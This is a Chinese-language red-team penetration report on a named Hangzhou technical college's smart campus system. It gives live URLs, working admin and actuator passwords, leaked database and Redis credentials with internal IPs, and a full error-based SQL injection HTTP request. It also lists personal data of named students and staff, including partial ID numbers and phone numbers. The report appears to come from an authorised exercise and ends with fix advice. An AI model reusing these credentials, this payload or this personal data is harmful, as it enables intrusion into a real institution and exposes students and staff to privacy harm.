


攻防演练安全隐患报告

一、综述
经过演习指挥部授权，攻击队于2026年9月16日，对杭州第一技师学院进行了渗透评估，通过模拟真实网络攻击行为，评估系统是否存在可以被攻击者利用的漏洞以及由此因此引发的风险大小，为制定相应的安全措施与解决方案提供实际的依据。
渗透结果总结汇总如下表：
	渗透系统对象
	漏洞类型
	URL（可罗列）
	数量

	智慧校园管理系统
	弱口令
	http://web.hzdyjsxy.cn:18080/prod-api/actuator
	1

	智慧校园管理系统
	堆栈泄漏
	http://web.hzdyjsxy.cn:18080/prod-api/actuator/heapdump
	1

	智慧校园管理系统
	SQL注入
	http://web.hzdyjsxy.cn:18080/
	1

	智慧校园管理系统
	WEB系统权限
	http://web.hzdyjsxy.cn:18080/index
	1

	智慧校园管理系统移动端
	WEB系统权限
	http://m.hzdyjsxy.cn:18080/#/
	1


二、渗透分析过程
（一）渗透路径说明
1.actuator存在弱口令可获取heapdump堆栈信息，泄漏数据库连接账号密码。
SQL注入获取管理员账号，结合泄漏的密码登录智慧校园成功，移动端也可登录
数据库存在学生敏感信息泄漏

三、渗透成果说明
（一）风险状况概述
1.系统域名/IP：http://web.hzdyjsxy.cn:18080
2.系统所属单位：杭州第一技师学院
3.检测时间：2026年9月16日
（二）系统漏洞详情
证明
[image: ]
http://web.hzdyjsxy.cn:18080
[image: ]
成果1 弱口令登录actuator后台
ruoyi/123456，登录后可下载
http://web.hzdyjsxy.cn:18080/prod-api/actuator
[image: ]
成果2 heapdump泄漏+敏感信息
http://web.hzdyjsxy.cn:18080/prod-api/actuator/heapdump
存在heapdump泄漏
[image: ]
com.baomidou.dynamic.datasource.creator.DataSourceProperty:
[password = Hzdyjs@Root@123456, publicKey = MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJ4o6sn4WoPmbs7DR9mGQzuuUQM9erQTVPpwxIzB0ETYkyKffO097qXVRLA6KPmaV+/siWewR7vpfYYjWajw5KkCAwEAAQ==, url = jdbc:mysql://172.16.0.67:3306/hzdyjs_xg?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true, username = root]

org.redisson.config.SingleServerConfig:
[password = Hzdyjs@redis@123456, database = 3, address = redis://172.16.0.67:16379, tcpUserTimeout = 0]

org.springframework.boot.autoconfigure.data.redis.RedisProperties:
[password = Hzdyjs@redis@123456, database = 3, host = 172.16.0.67]

de.codecentric.boot.admin.client.config.ClientProperties:
[password = 123456, username = ruoyi]

com.zaxxer.hikari.HikariDataSource:
[password = Hzdyjs@Root@123456, jdbcUrl = jdbc:mysql://172.16.0.67:3306/hzdyjs_xg?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true, username = root]

在堆栈里还能提取敏感信息
共还原35 名在校学生（含 1 名关联班主任姓名），泄漏字段覆盖身份证号 + 姓名 + 学号 + 班级 + 学院，同一张表还有病史、过敏史、残疾等级、家庭经济状况等敏感字段待取。以下证明5条。
	#
	姓名
	身份证号
	学号
	户籍地
	班级
	学院
	班主任

	1
	洪可欣
	330110*1625
	2023*2011
	杭州市余杭区
	园林技术231
	生态园林学院
	张羽

	2
	马鑫怡
	330185*0724
	2025*2024
	杭州市临安区
	中药251
	医药健康学院
	邵淑媛

	3
	夏臻楠
	330185*0718
	2025*2036
	杭州市临安区
	中药251
	医药健康学院
	邵淑媛

	4
	孙雨沁
	330108*0960
	2024*3134
	杭州市滨江区
	园林设计241
	生态园林学院
	王亚楠

	5
	周子杰
	330102*0011
	2026*3154
	杭州市上城区
	西餐运营264
	餐饮休闲学院
	沈晓兰


成果3 未授权报错SQL注入+dba权限+全校师生信息
POST /prod-api/auth/register HTTP/1.1
Host: web.hzdyjsxy.cn:18080
Content-Type: application/json
clientid: e5cd7e4891bf95d1d19206ce24a7b32e
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Length: 219
Connection: close

{"clientId":"e5cd7e4891bf95d1d19206ce24a7b32e","grantType":"password","tenantId":"000000' AND extractvalue(1,concat(0x7e,(SELECT version()))) AND '1'='1","username":"zzq001","password":"ttt","code":"","uuid":""}

[image: ]
证明为dba权限，是super用户，current_user为root
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泄漏全校学生和教职工敏感数据15922+353=16275条
[image: ]
	数据类别
	表
	条数
	已验证的最小样本

	在校学生学籍
	xg_student_msg
	15922
	姓名陈一乔、学号08*39、身份证339005*6519、手机138*412、住址浙江杭州市萧山*、智能控制学院 / 电气101

	教职工名册
	rs_staff_info
	353（353 条含姓名+手机）
	丁咏梅 / 000001 / 临安校区综合办 / 130*79


成果4 智慧校园管理员
http://web.hzdyjsxy.cn:18080/index
数据库中获取js01管理员用户，使用heapdump泄漏的密码进入后台
js01/Hzdyjs123456!@#
[image: ]
成果5 智慧校园移动端管理员
http://m.hzdyjsxy.cn:18080/#/
数据库中获取js01管理员用户，使用heapdump泄漏的密码进入后台
js01/Hzdyjs123456!@#
[image: ]


（三）成果说明
1个SQL注入DBA权限
1个heapdump堆栈泄漏
1个弱口令actuator后台
2个web管理员
16275条全校师生敏感数据

（四）处置建议
修复弱口令
增加鉴权
修复sql注入代码
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"_links": {
"self": {
"href": "http://web.hzdyjsxy.cn/actuator",
"templated": false

h

"beans": {
"href": "http://web.hzdyjsxy.cn/actuator/beans",
"templated": false

}

"caches": {
"href": "http://web.hzdyjsxy.cn/actuator/caches",
"templated": false

+

""caches—-cache": {
"href": "http://web.hzdyjsxy.cn/actuator/caches/{cache}",
"templated": true

}

"health": {
"href": "http://web.hzdyjsxy.cn/actuator/health",
"templated": false

+

"health-path": {
"href": "http://web.hzdyjsxy.cn/actuator/health/{xpath}",
"templated": true
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